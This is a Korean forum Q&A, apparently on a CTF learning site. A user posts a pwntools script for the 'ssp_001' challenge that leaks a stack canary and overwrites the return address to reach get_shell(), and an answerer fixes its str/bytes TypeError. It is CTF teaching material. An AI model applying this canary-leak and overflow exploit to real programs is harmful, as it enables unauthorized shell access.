완료됨
TypeError: can only concatenate str (not "bytes") to str
자구 TypeError가 발생하는데, 이유를 모르겠습니다.
1 from pwn import *
2
3 def slog(n, m): return success(": ".join([n, hex(m)]))
4
5 #context.log_level=True
6
7 p=process("./ssp_001")
8 #p=remote("host3.dreamhack.games", 21437)
9 e=ELF("./ssp_001")
10
11 # get_shell() Address
12 get_shell=e.symbols["get_shell"]
13
14 canary=b''
15
16 for i in range(131, 127, -1):
17 p.sendlineafter(">", "P")
18 p.sendlineafter("index : ", str(i))
19 p.recvuntil("is : ")
20 canary+=p.recv(2)
21 canary=int(canary, 16)
22 slog("get_shell() ", get_shell)
23 slog("Canary ", canary)
24
25 payload=''
26 payload+='A'*0x40
27 payload+=p32(canary)
28 payload+='B'*4
29 payload+=p32(get_shell)
30
31 p.sendafter("> ", "E")
32 p.sendafter("Size : ", str(0x200))
33 p.sendlineafter("Name : ", payload)
34
35 p.interactive()
slog에서 canary값을 출력할 때 제대로 출력됩니다.
하지만 payload를 보내려고하면 자꾸 TyeError가 발생하는데
왜 에러가 발생하는지를 모르겠습니다.
에러 내용
payload+=p32(canary)
TypeError: can only concatenate str (not "bytes") to str
#pwnable
작성자 정보
답변
1
qkrthfals
공부벌레
타입이 다른 변수들을 연산해서 생긴 오류 같습니다.
"[문자열]", '[문자열]' 과 같은 방식으로 작성한 코드들을
b"[문자열]", b'[문자열]' 과 같이 수정해보시겠어요?
payload=''
payload+='A'*0x40
예를 들어서 위와 같은 코드의 경우
payload=b''
payload+=b'A'*0x40
이런 식으로 수정해야합니다.